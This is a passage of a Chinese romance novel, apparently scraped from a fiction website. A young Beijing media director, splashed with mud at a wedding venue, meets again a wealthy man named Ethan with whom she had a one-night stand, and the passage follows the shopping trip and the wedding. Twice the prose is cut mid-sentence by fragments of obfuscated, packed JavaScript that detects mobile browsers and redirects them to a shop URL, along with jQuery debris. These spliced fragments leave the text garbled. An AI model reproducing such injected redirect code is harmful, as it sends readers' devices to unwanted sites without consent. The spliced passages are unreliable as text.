《你树木的荫翳纯属偶然》 1. 豪车 周六一大早,皮一夏被连续的敲门声吵醒。迷迷瞪瞪摸到手机,点亮屏幕看了眼,8:32。 她加班到凌晨四点多才躺下,这时间正是深度睡眠,猛地被拽回现实世界,烦躁地蹙了蹙眉,被子一拉蒙住耳朵,浅黄色泡面卷长发凌乱地铺在枕头上。 谁知那敲门的人十分坚持,而且动作越来越不耐烦……再这么敲下去,邻居就该出来骂了。 零星的一点神志撩拨着脑神经,已足够令她怒火上涌,猛地掀开被子,浅粉色吊带睡衣领口的荷叶边被气流扇动一下,白皙清瘦的锁骨露在空气里,惺忪睡眼下方挂着两个黑眼圈。 缓缓撑起身子,正要下地去开门,手机忽然响了。 皮一夏抓过来接通:“喂!” “皮皮。你开门!我知道你在家。” ……孙向前?她前男友,不对,现在是前前男友了。 神志又清醒了几分,她清清嗓子回:“我不在家,在外面拍摄呢。”声音清冽,一点也听不出刚睡醒。 “哄谁呢?你赶紧的,我给你买了早饭,油条包子豆浆,开门!” “真的。”她顿了顿,面无表情补充,“我在二环拍早秋新款呢,昨天临时接的活,八点钟就到了。你回去吧。” 话里透露了不少细节,听着不假,孙向前信了,说:“那你上午能拍完吧,下午我来找你。” 谁要见你。 皮一夏脸上闪过几分不耐:“下午拍不完。你别来找我,都分手多久了,老这么纠缠不清的,有意思吗?” 她的声音冷了,孙向前却火了。 “多久?才他妈不到半年,我听说你又谈一个,哪个女的像你这么渣?!” “你再没完没了我直接拉黑!”皮一夏也火了。 “别别……”孙向前听她真生气了,忙又软下性子,“我不说了成吧?你告儿我在哪拍呢,我去给你送早餐。” 皮一夏沉默了一会儿,信口胡诌:“陶然亭。你来吧。”说完就挂了电话。 手机丢到枕头上,她脑子彻底清醒了,身上却没力气,拥着被子坐在床上,盯着窗外灰蒙蒙的天发了会儿呆,视线转回屋里。 五十多平的出租屋里,卧室和客厅以玻璃屏风做了区隔。客厅摆着一张沙发、一个茶几、一个书架,大件家具就这些,空间还算宽敞,但她好几天没收拾了,椅背上长满了衣服,茶几上也堆满了杂物。 眼神迟缓地扫到床上,毯子和抱枕纠缠在一起,乱得像狗窝一样。腿一动,掀翻了被子上的笔记本电脑,意外点亮的屏幕上,是写了一半的PPT。 被PPT支配人生,是社畜的宿命。 22岁从传媒大学毕业后,皮一夏留在北京工作,现在是国内顶尖的互联网大厂——华森文娱的内容宣推高级总监。 五年时间,从一个学生妹做到总监职位,是晨昏颠倒拿命熬来的,同事们开玩笑喊她卷王,她不排斥也不谦虚,全当是夸奖。作为一个平平无奇的小镇女孩,她除了卷,也没其他拿得出手的东西了。 今年初在京郊买了套两居室,首付八十多万,贷款近三百万,平摊下来,每个月将近一万的房贷,这意味着,每天一睁眼,就有300块的欠条贴在脑门上,因此更加一刻也不敢松懈。 光有主业是不够的,平时有空还接兼职,做服装拍摄模特。这活比较轻松,她从大学时就开始接触,这些年积累了不少客户资源,不过由于周末经常要加班,所以兼职也不稳定。 比如这个周末,原本确实有个拍摄邀约,但公司有个S+级别的项目进入了宣传期,加上集团总部CEO变动,总监级以上员工都要述职,这两件事搅在一起,每天忙得晨昏颠倒,于是只好推了约拍,专心写宣传方案和述职报告。 PPT……人活着,到底为什么要写PPT? 皮一夏叹了口气,拖着疲惫的身躯,慢吞吞下床去卫生间洗漱。 电动牙刷嗡嗡震动,镜子里的人双眼无神、肤色暗淡,一脸的班味儿,她忍不住想叹气,想到孙向前那个麻烦精,更想叹气了。 三下五除二漱了口,快速洗了把脸,抽一张洗脸巾胡乱擦了擦,皮一夏抓起置物架上的手机,给苏晨雪打微信语音。 对面气喘吁吁,像是在走路:“皮皮,怎么了?” 苏晨雪是皮一夏大学同学,真正的豪门千金大小姐。 大一刚入学那会儿,苏晨雪的衣服包包首饰护肤品都是奢牌,偶尔还有豪车接送,同宿舍的人对此或嗤之以鼻,或敬而远之,只有皮一夏会在选修课上发微信给她,请她帮忙下楼取个快递。 两人平平淡淡地认识,相交近十年,彼此都太过了解,省去了解释步骤,皮一夏把手机搁回架子上,边往手心倒爽肤水边说:“孙向前阴魂不散,我要去你家避难。” 苏晨雪轻轻笑了一声:“早跟你说过,不要一上头就开始,你不听。” 皮一夏在谈恋爱这事上乐此不疲,男朋友换了一个又一个,基本没有谈超过一年的,也很少有空窗期,恋爱之于她,好像是纾解情绪的一种方式,就像肥宅快乐水之于普通人,很必要,但又没那么重要,什么时候喝,全看心情,喝什么,也全看心情。 她和男生谈恋爱,有时是因为长得帅,有时是因为一把好嗓子,还有时,仅仅因为对方收养了流浪猫……肤浅的上头理由必然会因为肤浅的理由而迅速下头。 上学时苏晨雪就念叨她:“皮皮,你收敛点,要谈恋爱就认真谈,好好考察男生的品性,考察好了再开始,不然每一个都不长久,不是浪费彼此时间吗?” 皮一夏不以为然。 “我又没打算跟他们结婚,考察那么清楚做什么?谈恋爱嘛,喜欢了就在一起,不喜欢就分开,双方都没什么损失呀。在一起的时候是开心的,就不算浪费时间吧。” 好像……也有道理? 苏晨雪无法反驳,但又隐隐感觉哪里不对,只好提醒她:“那你还是要当心点,万一遇到那种偏激的男生,又对你用情很深,分手了还不依不饶的,就不好了。” “得了吧。哪有什么用情很深的男生,我又不是天仙,也不会给人下蛊。” 皮一夏满不在乎,苏晨雪却掐着她的脸嗔道:“你对自己的美貌一无所知。” “我知道呀。”皮一夏朝她做鬼脸,得意地扬着下巴,“我虽然不是天仙,但是人间长得最漂亮的!” 苏晨雪抿嘴,咯吱她痒痒肉:“脸皮真厚!”两人打闹着笑作一团。 现在让苏晨雪说中了,孙向前就是那种不依不饶的前男友……好吧,她承认苏苏说的对,恋爱要慎谈,她决定以后收敛一点。 “你到底在不在家呀?”皮一夏问。 “我在机场,刚从巴黎落地北京,马上要去参加表姐婚礼,你要是没别的安排,就过来陪我吧?” 苏晨雪的表姐叫苏婉愉,她们三人一起吃过几次饭,皮一夏也收到了婚礼请柬,但她原本打算随个份子就完了,现在看来,倒不妨去蹭一顿豪门大餐。 挂断语音,皮一夏快速化了个淡妆,选了件比较正式的黑色连衣裙,外搭裸粉色绉纱披肩,把电脑收进包包里,打车出门。 苏家婚宴场地在东四环的云溪庄园,离她家大概三十多分钟的车程,这功夫够写四页PPT,但在晃动的车上看电子屏,久了有点犯恶心。 皮一夏将车窗全降下,九月初微凉的风灌进来,空气里有干燥清香的草木气息,过了一会儿,头是不晕了,胃里却没有舒服多少,好在马上到了,她提前叫停了出租车。 司机挺热心,提醒她:“前面路不好走啊姑娘。” “没事,我有点晕车。” 司机就不再劝,靠边停车了。 云溪庄园是一座欧式风情的高档度假庄园,外围保留着原生态的自然风貌,广袤的青草地看着令人心旷神怡,但昨天才下过大雨,此时泥土松软黏湿,鞋跟时不时陷进去,确实挺不好走的。 皮一夏拎着裙摆,小心翼翼地点着脚走。 半阴不晴的天,太阳不时被大片翻卷的云层遮蔽,草甸对面的庄园矗立在雾蒙蒙的天空下,颇有点英伦复古的氛围。 一辆深绛红色劳斯莱斯幻影从东南方向驶来,径直拐进通向庄园的细石子路。 身着黑色西装、戴白色手套的司机目视前方,副驾上的年轻男人正襟危坐,正在透过蓝牙耳机接电话,时不时简短应答一句,刻意压低了声音,却已是这静谧的车厢里最高的分贝。 男人叫林献,他接完电话,转头朝后说:“Ethan,跟王教授约好了,讲座时间改到下周日上午十点。” 坐在右后席的男子闭着双眼,仰靠在椅背上,闻声说了个“好”。嗓音低沉,听不出情绪。 “另外,褚先生还是不接电话,需要再联系一次试试吗?” 这次隔了较久的时间,才得到漫不经心的两个字。 “不必。” 话音落,车身突然颠簸了一下,紧接着,一个女声传进耳朵里。 尽管密封良好的车窗玻璃挡掉了一大半分贝,还是能辨认出,是一声略带惊怒的叫喊。 司机仍然目视前方,林献却转过头,朝窗外看去。 只见一个身形高挑,穿黑色长裙的女孩冲到了车头斜前方,指着车里喊:“停车!” 猝不及防,司机猛地踩下了刹车,林献的身子随惯性朝前扑了一下,继而被安全带狠狠勒回了椅背。 直到这时,后方的男人才睁开眼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428015|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“怎么了?”他淡声问了一句,眉目间掠过一丝不悦。 司机忙道:“对不起老板,我下去看看。” 司机开门下车,林献透过前挡风玻璃看着,似乎是他们的车轮碾过水坑,泥水不幸溅到了这位女士身上,司机交涉了几句,女士看着更愤怒了,眼看陷入了僵持,林献说:“Ethan,我去处理一下。” 他看向后视镜,却被镜中人难得一见的复杂神情惊到了,似乎有点愤怒,又像在酝酿什么主意,漆黑眼瞳蒙上了一层晦暗难明的意味,显得更幽深莫测了。 林献来不及多想,忙推开门下车。 劳斯莱斯的车头前,“不幸的女士”皮一夏正在等一个道歉。 她刚走出草地,踏上石子路,一口气还没松完,就被一辆快速驶过的汽车溅了一身泥。脚边是盘子大的一个坑,坑里的泥水大半都招呼到她身上了。 皮一夏当即喊了句“停车”,司机也不知道是没听见,还是假装没听见,总之车没停,她只好拦停了。 原本没必要相互为难,她也不是计较的性子,只是想要一句道歉,谁知司机下车后却拧着眉头,率先向她发难。 “你怎么突然冲出来,要不要命了!” 她的火气一下子就上来了。 两人掰扯了几句,司机说你干嘛站在水坑边,她反问你开车怎么不看路。最后司机有点不耐烦,说要赔她干洗费,皮一夏更生气了。 谁缺那点干洗费?她是来参加婚礼的,衣服成了这个样子,还怎么见人! 加了一个通宵的班本就心情不爽,大早上又被孙向前纠缠,来参加个婚礼,还被人溅了一身泥,简直倒霉鬼附体了! 皮一夏这会儿满腔怒火,恨不得毁灭世界,扫见副驾下来一个男的,穿得西装革履,很体面……车主是吧?很好! “开劳斯莱斯好神气哦?我好好的走在路上,被你们的车溅了一身泥,要句道歉不多吧?叽叽歪歪半天,好像我不讲理、故意为难人一样!要不这样,你站在那……”她指着那小坑的位置,里面还剩个水底,“让我开车经过,溅你一身泥,咱们就扯平了,我也不要你们道歉了!” 林献过往的职业生涯里,遇见过的棘手场面太多了,但基本都是高层之间彬彬有礼的言辞交锋,头一次对上个怒气冲冲的女孩子,对方还一个磕巴不打,机关枪似的输出,林献懵了两秒,硬着头皮挤出一个笑:“很抱歉,确实是我们有错在先,您希望怎么补偿您的损失和心情?” 终于听到句人话。 “你说怎么解决?”皮一夏把问题抛了回去。 “要不,赔您一套衣服的钱?”林献提议,“您说个数,我这就转给您。” “我是来参加婚礼的,你给我钱,我能穿在身上吗?” 皮一夏语气虽冲,心里的火气却消了不少,低头看着裙摆上的泥点子,默默盘算眼下的处境。现在回家换衣服,来回折腾一个半小时,婚宴都开始了,她赶着饭点出场,好看吗? 看来只能自认倒霉,掉头回去了,但是苏大小姐不喜欢被人放鸽子,只怕又要生气几天不理人了。 皮一夏有点犯愁,这时忽然听见一个人说:“去买身衣服。” 她一愣,循声偏头望去,看见车身另一侧站着个男人。那人被司机和长长的车头挡住了大半身形,以至于她到此时才发现,现场还有第四个人。 看清他脸的刹那,皮一夏眼睛瞪得好像见了鬼,心里大喊妈妈,怎么是他?! 她僵硬地站在原处,脸皮渐渐涨红,眼睁睁看着男人缓步走近。 他的个子很高,穿着黑色竖条纹西装,面料光泽细腻,一看就知道很贵,外套敞开着,精致的金属纽扣在马甲上扣成整齐的一排,烟灰色衬衫领口挺括,墨绿色领结严丝合缝地怼在饱满的喉结下,散发着禁欲的气质,身材好像画报上的西装男模,又比男模多了几分生动的性感。 有几秒的时间,大脑被震惊和尴尬的情绪填塞得宕机黑屏,皮一夏甚至想不起他叫什么,E……E什么来着? 直到两人间隔一米的距离,他的脚步停下,她才清晰地意识到,这不是幻觉。本以为此生不会再见的一夜情对象,就这么水灵灵地现身了。 震惊的余波缓缓平息,她想起来了,他叫Ethan。 “H、Hi……好久不见。”皮一夏扯起嘴角,干巴巴说了一句。 他的五官立体,面上平静无波,眼皮折进眉弓下方深邃的眼窝里,瞳色漆黑,给人一种不怒自威的感觉,皮一夏被他盯得无所遁形,好像被丢进冰天雪地里,从头到脚冒冷气。 “不算太久。”他说。 语气似乎在压抑什么情绪,短短的一句话,皮一夏隐隐听出了点咬牙切齿的意味。 2. 旗袍 她不由缩了缩脖子:“不用买衣服,我还有事,先走了,再见。” 尴尬的感觉从头发丝蔓延到脚指头,皮一夏现在只想赶紧离开,于是说完转身就走,然而很快又被人叫住。 “Lola。” 低沉的嗓音,带着一丝不容拒绝的冷厉,像一把泛着银光的匕首,横在她后脖颈子。 做了亏心事,就怕鬼敲门。皮一夏身体僵硬,缓缓转过身,佯装镇定地问:“怎么了?” “上车。” 他漠然丢下两个字,不疾不徐走到车身一侧,拉开了驾驶位车门。 皮一夏懵了。 这是……要亲自开车带她去买衣服? 不会在半路上杀人分尸再弃尸荒野吧?虽然她做了一些不好的事,但罪不至死……吧?何况都过去半个多月了,有怒气也该消了哦? 沉默片刻,皮一夏缓缓转头看向林献,憋出一句:“要不还是你陪我去吧。” 林献这会儿也是一脸懵逼,完全在状况外,大脑飞速运转,努力分析当前的状况。 看上去,Ethan和这位女士认识,但两人之间应该发生过不愉快的事,以至于女士不想理会Ethan……男女朋友?分手了? 不对,据他贴身观察,Ethan从未与任何女生有过私交,以至于他一度怀疑自己的老板性冷淡。然而现在看来,Ethan显然不排斥这位女士。 头脑风暴结束,林献朝皮一夏礼貌地微笑:“抱歉女士,我接下来还有别的安排,只好麻烦Ethan带您去买衣服了。” “……” 皮一夏又缓缓转头,看向车门边的人,他眉头紧拧,显然已很不耐烦,她心里一惊,来不及多想,忙朝副驾快步走了过去。 车门关上前,听见他说了句:“你可以下班了。”是对司机说的。 皮一夏以为是字面意义的“下班”,然而留在原地的林献目送劳斯莱斯调转车头,等车开出一段距离,却对年轻的司机说:“Ethan的意思是,你被解雇了。” 司机大惊,急忙解释:“林助理,我不知道老板认识那位小姐,对不起,我刚才就是有点心急,没有处理好……能不能再给我一次机会?” 林献摇头:“Ethan决定的事,从来没有转圜余地。你的赔偿金,会随工资一起发放。” 司机继续哀求:“我第一次给老板开车,还是这种古董豪车,实在太紧张了,才没有注意到路况,冲撞了那位小姐。林助理,你帮我跟老板解释解释,行吗?” “你误会了。”林献说。 误会什么?司机目露不解。 “你被解雇,并非因为和Lola小姐发生争执。当然,这也是原因之一,但最主要的原因是,Ethan讨厌等,更讨厌被人浪费时间。” 司机失望地低下了头。 林献走过去,拍了拍他的肩膀:“回家吧。看在我们共事一场,我会帮你留意工作机会。”说完就往庄园方向走了。 劳斯莱斯驶离石子路,皮一夏打开手机看了眼时间,9:41。 “去离这最近的九浦商业街吧。” 皮一夏说完这句就开始沉默,坐在副驾上眼观鼻鼻观心。 她这会儿冷静了不少,有点后悔刚才冲动上车了,就应该不管不顾赶紧跑,反正他又不是妖怪,还能追上去吃了她不成? 唯一比较担心的就是,他穿得这么体面,只怕也是去参加婚礼的,万一他把那晚的事到处说,被她认识的人听到耳朵里,那就别活了。可他看着不像大嘴巴的人……但也说不好,毕竟人不可貌相,啊啊啊好烦世界这么大,他怎么不去别处转转? 皮一夏面无表情,内心极其荒芜。 密闭的车厢里,有淡淡的木质香,细嗅之下,还夹杂着一丝沁爽的柑橘调,气味清新自然,倒是好闻。香气缓解了她紧绷的情绪,死人微活变成活人微死,皮一夏默默深吸口气,想到了那句四字箴言——来都来了。 这时听见驾驶座的人说:“导航。” “什么?” 她一时没反应过来,看了他一眼,才“哦”了一声。 但她不敢碰这高贵的座驾,万一碰坏了哪里,只怕要卖房子赔钱。于是打开手机高德地图,输入目的地,郭德纲的声音传出来,提示预计要十分钟。 还好。 皮一夏把手机放在中控台上,从背包里掏出纸巾,开始擦拭裙摆上的泥点子,边擦边想,他怎么也一句话不说?好尴尬。 “那个,Ethan?”她主动开口,缓解沉闷的气氛,“你有中文名吗?” “贺章。” “哦。你也是参加婚礼的吗?” “嗯。” 一如既往地惜字如金……心好累。 “你这车,挺不错的哈……多少钱呀?”她继续搭话。 虽然不清楚他为什么要带她去买衣服,但套套近乎总没错,熟络起来,什么事都好沟通了。 皮一夏低着头擦拭裙摆,好一会儿没听见回答,不由抬眼看过去,猝不及防与他对视,那双漆黑的眼睛瞬间令她喉咙发紧。 “……不方便说,就算了。” “Lola小姐。”他突然开口,声音冷硬,“不如你先告诉我,为什么不打招呼离开?” 好不容易营造出一种陌生人初见的氛围,贺章的一句话,又把两人拉回奇怪的关系里去了。 视线交汇,他的神色漠然,像某种与猎物周旋的大型兽,沉沉的目光里带着几分审视,在猎物身上找下嘴的地方,皮一夏尴尬又不安,脑子里冒出跳车的念头。 “我的表现,令你失望?” 冷不防听他补了这么一句,又差点没被自己的口水呛死。皮一夏偏头捂着嘴闷咳两声,顺势遮住了火速升温的脸颊。 她完全不想在青天白日和一夜情对象讨论感受,那毕竟是魔幻和疯狂的一晚。虽然他们现在衣冠整齐地坐在车里,但却感觉自己正赤身裸体和一个陌生人待在一起。 皮一夏整张脸又烫又麻,好像通了电,完全不能看贺章,一看就想到一些不可说的画面。急促的喘息。尖叫。迷离的眼。 微信语音铃声响起时,皮一夏有种得救了的感觉——不管打来的是谁,她都充满感激。 皮一夏镇定地抓起手机,点下接通键,自然地放到了耳边。 话筒里传出一个男声。 “你在哪呢?发个定位。” 是孙向前。 皮一夏一手扶额,默了两秒说:“拍摄临时取消,我回公司加班了。” “……你他妈耍我呢?!”一声咆哮响彻在密闭的车厢,“你是不是根本没有拍摄,是不是?!遛狗呢你跟这,你丫给我等着!” “你嘴巴放干净点!” 皮一夏压低声音骂了句,直接挂断,给孙向前发了条微信:「再来烦我报警。」然后就把他拉黑了。 孙向前虽然烦人,但他这通电话带来的效果却很直接。她现在完全可以装作气到不想说话,自然也就不必回应任何人的任何问题。于是剩下的路程里,皮一夏双臂抱胸,冷着脸坐在副驾上闭目养神。 贺章看了她一眼,良好的教养让他没有再开口,但下颌却比方才绷得更紧了。 五分钟后,劳斯莱斯停在了九浦街Estilo品牌店前的马路边。 皮一夏解开安全带说:“麻烦稍等。”就匆匆下车了。 这是一家小众的原创设计品牌店,店里衣服精致有格调,能撑场面,价格又不会虚高,她是品牌的忠实会员。 导购小姐迎上来打招呼,皮一夏直接说:“帮我挑一件适合参加婚礼的衣服,谢谢。” 不是她自己不想选,而是苏晨雪曾经站在她的衣柜前,郑重地告诫过她:皮皮,你不要自己买衣服,尤其是穿去正式场合的衣服。 好吧,好吧。 导购小姐快速挑了两件,一件白色刺绣V领连衣裙,一件新中式复古绿色旗袍。 她一眼相中了那件连衣裙,于是毫不犹豫地选择了旗袍。 不按自己的审美选,就对了。 但这旗袍是挂脖挖肩的设计,这会儿穿,稍微有点凉了吧。 导购小姐似乎看出了她的犹豫,笑着说:“可以搭一件黑色小开衫,不冷不热正合适。” “好,就试这件。” 她拿着旗袍去试衣间快速换好,出来站在镜子前,前后左右地照,冷不防从镜子里看见了贺章。 他挺拔地站在店门口的柜台前,一手插在西裤口袋里,漫不经心地朝她眺来一眼,古井无波的脸上泛起一丝波澜,那是与他气质不符的赞赏之色,虽然一闪而过,还是被她捕捉到了。 导购小姐适时地吹捧她。 “我第一次看见把旗袍穿的这么好看的人!您的皮肤太白了,很衬这样的绿色。” 皮一夏知道导购为了卖货会有夸大的成分,但她确实挺喜欢这旗袍。 “会不会太招摇?”她不是去婚礼上出风头的。 导购一边帮她套开衫,一边笃定地说:“不会。您看这哑光的面料,纹理是暗压的,花朵也是小簇的,够低调了,但衬得人很高贵典雅,当然了,最主要的原因是,您的长相和身段都特别好,这件旗袍简直像是量身定做的……您说呢先生?” 柜台前的男人没想到会突然被cue,眼皮微动,下意识与镜子里的女人对视。 她长了一张标准的瓜子脸,巴掌大,眉眼几乎占了脸的三分之一,鼻子挺翘,红唇肉感,微微嘟着,一眼看去像个洋娃娃,配上那一头蓬松的浅黄色泡面卷长发,更像。 四目相对,她忽然笑了一下,单纯无害的笑,像在巴塞罗那时一样。 璀璨的水晶灯映在一双栗色的大眼睛里,静态的美人忽然就活色生香了。 贺章从愣怔里迅速回神,对柜台后的店员说:“结账吧。”说着就从西裤口袋里掏出了手机。 从进店到离开,前后不过十分钟的时间,皮一夏的心态发生了微妙的变化。 来的一路上,她拿不准贺章的心思,所以紧张到失常,下意识采用逃避、拖延的办法,希望赶快结束这件事,等下了他的车,就安全了。 可是刚刚在店里,贺章愣怔的眼神,让她忽然意识到,他没那么高深莫测,不过就是个会为皮相所迷的男人……事实上,半个月前他回头时,已经说明了这一点。 既然如此,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428016|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好办了呀! 不管多么难以置信,重逢了就是重逢了,躲是躲不掉的,既然如此,还不如坦然面对,想到这里,她突然松弛下来。 不要紧张皮一夏。怎么哄一个男人,让他乖乖听话,你不说是行家,至少也是个熟手。男与女,进和退,周旋与拉扯,这是你的战场。 何况,他长得实在秀色可餐,至今仍然很有吸引力……既如此,不妨给这段回程路找点乐子。 想至此处,皮一夏将长发拢到胸前,侧过身去背对贺章。 “Ethan,麻烦你帮我看看,拉链有拉到最上面吗?”她说。 匀称白皙的手指上,暗夜紫和樱桃红渐变色指甲闪着流沙般细碎的光,纤长柔美的一段颈,从绿色的小立领里伸出来。 她知道怎样吸引一个男人,尤其是被她征服过的男人。虽然很难,但她毕竟成功过。 她沉默着等了几秒。 贺章一手搭在方向盘上,姿态松弛,丝毫没有转头的意思,漆黑的眼瞳盯着前方的路,却对她的伎俩心知肚明,语气里透着十分的疏冷。 “我想你摸得出来。” “……”还是这么假正经。 出师不利,皮一夏暗中撇了撇嘴,坐正了身子。 “你参加婚礼,是作为男方还是女方的朋友呢?”她并不气馁,再接再厉。 贺章不动声色地打量她,那眼神把她盯得脸热起来,已经筑好的心理防线再次松动,她僵硬地转开了视线。 “Lola小姐呢?” 皮一夏对他的不答反问毫不意外,毕竟初见时,他就是这样滴水不漏的一个人。 “我其实都不是,就是帮朋友去送个份子钱。”她温婉地笑着说。 贺章微微挑眉:“是吗。” 轻描淡写的语气,透着明显的不信任,皮一夏忙换了个话题:“Ethan先生一看就是成功人士,先前太匆忙,还没问过你是做什么的,在哪里高就?” “写代码的。在美国。”贺章这次没有回避。 皮一夏暗暗松了口气。 听这意思,他并非常驻国内,说不定回来就是为了参加婚礼,参加完就回去了。那可太好了! 不过,有没有可能是胡说的?但是没必要吧,他又没做错事……而且他这冷漠自信沉稳笃定的气质,丝毫不像会撒谎的样子。 “你呢?”贺章问。 他的脸色平和了一些,俨然有了交谈的兴致,皮一夏更为放松,看着他微微一笑,端出了早已准备好的答案。 “写文案的。在一家影视公司。” “华森旗下?” 他冷不丁的追问像刀子切中了要害,皮一夏心口发紧,脑中警铃大作,下意识想问你怎么知道,话出口前换了个说法:“怎么这么问?” 贺章目视前方,淡淡道:“恰好知道这家公司。” 完了……他一个美国写代码的,不会跟华森文娱有什么业务往来吧…… “不是。不是华森,就是一家不知名的小影视公司,叫回音娱乐。”出门在外,身份都是自己给的,“你应该都没听说过。” “确实。” 皮一夏轻轻悄悄吐出口气。 明明是为了刺探他的身份,结果差点让自己掉马,有点危险,她收回刚刚的想法,尽快下车是上策。 这路怎么这么长! 她有点焦躁,忽听贺章又说:“先前的问题,Lola小姐还没回答。” “什么问题……” 皮一夏懵了两秒才反应过来,是问她为什么不打招呼离开,是不是对表现失望……真是尴尬,他老纠结这个做什么! “那个,就是有点事,所以先走了。”她自动忽略了第二个问题。 贺章面无表情:“哦?那……” “啊!我忽然想起来……”皮一夏灵机一动,匆匆开口打断他的话,“要给同事改个文件,回头再聊哈!”说着从包里掏出笔记本,打开,接着写PPT。 贺章:“……” 这么生硬的回避,倒不像她一贯的作风。 密闭的空间里,很快响起噼里啪啦的打字音。贺章偶尔扫一眼副驾上的女人,皮一夏毫无知觉。她一旦专注起来,很少被外物惊扰。 差不多写完一页时,安静的空间忽然响起一阵电话铃,是苹果手机自带的铃声。 皮一夏以为是自己的手机响了,伸手到背包里摸索着,余光却见驾驶座上的男人戴上了蓝牙耳机。 她耸了耸肩,接着敲字,心神却不由自主地跑偏了。 对面不知说了什么,贺章沉默地听了一会儿,出声:“这台车是送你的。” 哇哦!是在说这辆劳斯莱斯吧?真是好大的手笔。要送给谁呢?他女朋友吗?不对……那天傍晚,她分明问过他,有没有女朋友或者妻子,他说没有。 她可从不招惹有主的男人。 皮一夏敲字的手停了下来。 这时,又听见一句:“让你做什么,就做什么。” 皮一夏抬头看向贺章,眉心缓缓拧成了一个结。 如果说在此之前,对贺章尚有几分周旋的兴致,那到这一刻为止,一点也没有了。 3. 太子 这种把女人当个玩意儿,以为有几个臭钱就能随意使唤人的,冷漠又傲慢的狗男人,真让人下头……皮一夏很想现在下车,但在此之前,有一件事还是要确认清楚。 看着贺章摘下了耳机,她径直问:“那晚之前,你有伴侣吗?我要听真话。” 贺章眉心微微起皱,盯了她几秒,清晰吐出两个字:“没有。” 皮一夏释然,点了点头:“OK。谢谢你带我买衣服。” 这时候,正好回到先前的石子路,皮一夏喊了停车,合上电脑,收进背包里。 车子缓缓停稳,皮一夏掏出钱包,打开,从里面数出几张粉色钞票,放在座椅中间的小桌上,在贺章略带不解的神色里,微微一笑。 “你的表现,我很满意。” “我们银货两讫,再见。” 皮一夏甩上车门,径直往庄园的方向走去。贺章盯着桌上的钱,足足有一分钟,才转头看向前方。 石子路尽头,绿色旗袍勾勒出曼妙的身姿,黑色高跟鞋迈得又轻盈又笃定,裙摆随着走动不停翻飞,莹白的小腿时隐时现。 贺章忽然笑了,是短促爆发、又很快收起的一个笑,出现在他脸上,甚至显得有些违和,好像冷寂的冰山上突然燃起绚烂的花火,透明的冰面一瞬间璀璨夺目起来。 左手高高抬起,又重重落回,攥着方向盘的指节微微泛白,默了几秒,嘴角再次浮上笑意,极淡。似乎感觉……很荒唐?很有趣? 回到车前等候的林献看见了,一时间惊诧莫名。 他上一次看见Ethan脸上的笑,还是两个月前,在纽约的GLEASON搏击俱乐部,Ethan战胜了前UFC比赛冠军、号称“综合格斗之王”的Hardy教练。 在那之前,Ethan和Hardy教练对战两年,连败98次。 获胜那次,Hardy教练鼻梁断裂,Ethan左臂脱臼,林献此时回想起自家老板那满布青紫的脸,还有嘴角带血的笑,仍觉毛骨悚然。那是征服对手后畅快的笑,这次是为什么呢? 林献愣神的功夫,见贺章从车里出来,忙迎上去道:“褚先生已经到了,正在等您。” “嗯。” 他的神色又恢复了漠然,信步沿着石子路往前走,看样子是不打算回车里了。 林献自觉拉开驾驶座的门,打算开去停车场,谁知前方的人忽然顿足,回身,抬手摇摇一指,沉吟着说了句:“收好购物袋。” 购物袋?林献朝副驾踏板上扫了眼,看见一个印有Estilo品牌logo的购物袋,里面是那位Lola小姐的黑色连衣裙,还有粉色绉纱披肩。 “好的Ethan。” 云溪庄园南北东三面是酒店客房,西面有一座圆塔型古堡,专门用于宴会接待,这两天被苏家包下来了。 古堡外围的庭院是婚宴自助餐点区,白色和粉色的花朵、气球装点其间,盛装出席的宾客们正在交谈。 皮一夏端着小圆盘,站在餐台前吃甜点。 肩膀忽然被拍了一下,她转过头,苏晨雪俏生生站在身后,穿粉色泡泡袖衬衫搭配白色亚麻半身裙,半挽的公主发间插着一只白玉簪,笑得一脸恬静。 “吃饭了吗?大美人儿。”皮一夏问。 “吃了几口飞机餐。”苏晨雪从餐台上取了支叉子,在她盘子里挖了口舒芙蕾,“那个谁……你男朋友没一起过来吗?” 苏晨雪经常记不住皮一夏男友的名字,其实也没必要特意记,反正很快就是前任了。 “早分了。” 果然。 苏晨雪有点惊讶,也不是太惊讶。 “什么时候?为什么呀?” “一个月了。他劈腿。” “看着挺老实的一个人,怎么会……” “是吧?我也以为是个老实的,结果被我发现他跟一女的撩骚,还是微信摇一摇认识的。” 皮一夏为自己看走眼而懊恼,抿着嘴,有点赌气地将叉子插进甜点里。 苏晨雪搂住了她手臂:“别难过啊皮皮。你说的,男人如衣服,旧的不去新的不来。” 皮一夏眼珠一转,扬起下巴笑:“没事。反正,我也给他戴了绿帽子。” “……” 两人吃了几口东西,胃里舒服了点,挽着手往城堡方向走,要去看新娘子。 视线扫过草坪正中间的喷泉时,皮一夏忽然“咦”了一声,扯了扯苏晨雪的手。 “那个人,是不是你哥?” 男人身着黑色燕尾服斜倚在喷泉池边,袖口和衣襟镶了金边,尽显优雅贵气,精心打理过的红色头发,比当红的男明星还时髦,恐怕是这场婚宴里除了新郎新娘之外,最惹眼的人。正是苏晨雪继父的儿子,Lamoda时尚集团少东家,褚彦。 皮一夏没见过褚彦本人,但常听苏晨雪提起,也在她的钱包里看见过两人的合照。 苏晨雪顺着她的视线看过去,愣了一下:“原来我哥回国了,不过……怎么跟贺章哥哥在一起?” 